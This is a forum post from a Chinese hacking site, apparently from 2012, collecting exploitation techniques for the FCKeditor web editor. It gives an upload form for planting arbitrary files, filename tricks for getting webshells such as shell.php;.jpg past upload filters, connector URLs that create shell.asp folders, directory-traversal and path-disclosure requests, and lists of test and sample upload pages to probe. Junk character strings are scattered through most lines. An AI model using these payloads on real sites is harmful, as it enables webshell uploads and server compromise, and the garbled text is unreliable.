找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2755|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本
: g# `! m; z6 uFCKeditor/_whatsnew.html
$ Q/ |1 N1 j7 r5 r, V$ w- N—————————————————————————————————————————————————————————————

2. Version 2.2 版本. B+ D9 g7 n) T+ s( H
Apache+linux 环境下在上传文件后面加个.突破!测试通过。! {* G: O% o( Z' o
—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
% e/ w4 N2 S) L3 y& F( \; s<form id="frmUpload" enctype="multipart/form-data"+ K  Q& `4 {! ]' q, [' ^
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>. ]  E1 h5 ]7 s+ l
<input type="file" name="NewFile" size="50"><br>
  M8 R' q& ^. A$ g2 J- G! V; |: s<input id="btnUpload" type="submit" value="Upload">
9 V1 P3 v0 ^" T& H, ~3 i; D) e</form>
1 ^% ~4 B) z7 J$ @3 ~6 I—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法0 h6 @* V4 D9 `8 h( {# @6 G& C
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。% Q, y3 k5 n6 k
    4.1:提交shell.php+空格绕过6 r% P, |8 ^; R1 A- E
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' c- n( X, f& g  c% p) q6 S
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。' d6 w; C3 H, g# R8 ?& E# w" N) U
—————————————————————————————————————————————————————————————

5. 突破建立文件夹
  A  w0 x- @% n: @; i- eFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
+ o. z, O6 g6 u5 j8 ]* f0 e5 M* q% nFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
* B( ?. j# M/ \2 k! O( b  h—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
/ ~: `; i7 W" ]FCKeditor/editor/filemanager/browser/default/connectors/test.html; s. K( _, b3 w# C' y5 y) m
FCKeditor/editor/filemanager/upload/test.html
' X3 o+ [' S+ w! ~FCKeditor/editor/filemanager/connectors/test.html% ]5 ?  v' d" |; R
FCKeditor/editor/filemanager/connectors/uploadtest.html
; t; j' ]& h9 u—————————————————————————————————————————————————————————————  f. p/ n$ O- m3 K' v( o

7.常用上传地址  K4 d( J/ c- w  X
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/: R6 d+ O( Y: O( o0 }% m3 Z" p
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp! u( i5 C# V7 A) X+ ]& k
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
9 u4 e! i; p/ ?8 ^/ ~1 p! QJSP 版:, D5 r# S& @6 |  e
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp$ o! T3 x& n" W
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文- B3 W" H8 l  C- h0 E! x0 Y, Q
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。/ f; ?" T  I1 m; x  ?
—————————————————————————————————————————————————————————————

8.其他上传地址
0 J& T6 [" @7 ]6 G# vFCKeditor/_samples/default.html, {3 ~4 W4 s6 G6 {3 b8 x
FCKeditor/_samples/asp/sample01.asp
5 G: o/ ~9 h: A/ y" o/ UFCKeditor/_samples/asp/sample02.asp
4 O, `& |, |# _) @. s3 j% V- Q; OFCKeditor/_samples/asp/sample03.asp
9 d' A6 s! w9 KFCKeditor/_samples/asp/sample04.asp3 O2 N3 n' |9 r$ y; |
一般很多站点都已删除_samples 目录,可以试试。
0 n: D% f" g0 m: C( RFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。7 d+ J, f1 S% c' O9 f6 y1 A
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址; P( r% A  M( L1 k  L
Version 2.4.1 测试通过
0 T/ E; G6 m' x5 _1 W8 h修改CurrentFolder 参数使用 ../../来进入不同的目录
$ g$ h, f5 c( L/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
. |/ S/ `2 ]( P  ~/ F* E$ B根据返回的XML 信息可以查看网站所有的目录。* a& b& t4 ^! y" P# n; }
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F; Q8 U, i+ _7 m- t) {6 N+ ^: s
也可以直接浏览盘符:5 @5 [; \9 `2 J: Q9 G- J
JSP 版本:
7 u. y6 [4 a" H  @* PFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
1 |% N3 y- H& Q/ g6 L" I3 v—————————————————————————————————————————————————————————————

10.爆路径漏洞" a% P7 m1 Z0 m) M% M
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
2 q* [8 _' Y# ~' R% N—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
. R2 ~+ R, D; z% d        影响版本: FCKeditor x.x <= FCKeditor v2.4.33 Y' ]( s0 x5 a6 b; ?, {! u2 W
脆弱描述:/ G" s$ w+ G6 J  Z5 }- i- N+ K2 b
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
  s: M% b! U- \9 R& }+ t/ khtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
( l+ Z; [2 }9 B7 x6 QFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!: h  a/ S1 M9 ]
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。0 [3 i4 {6 ^% Z# \, M% Z
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表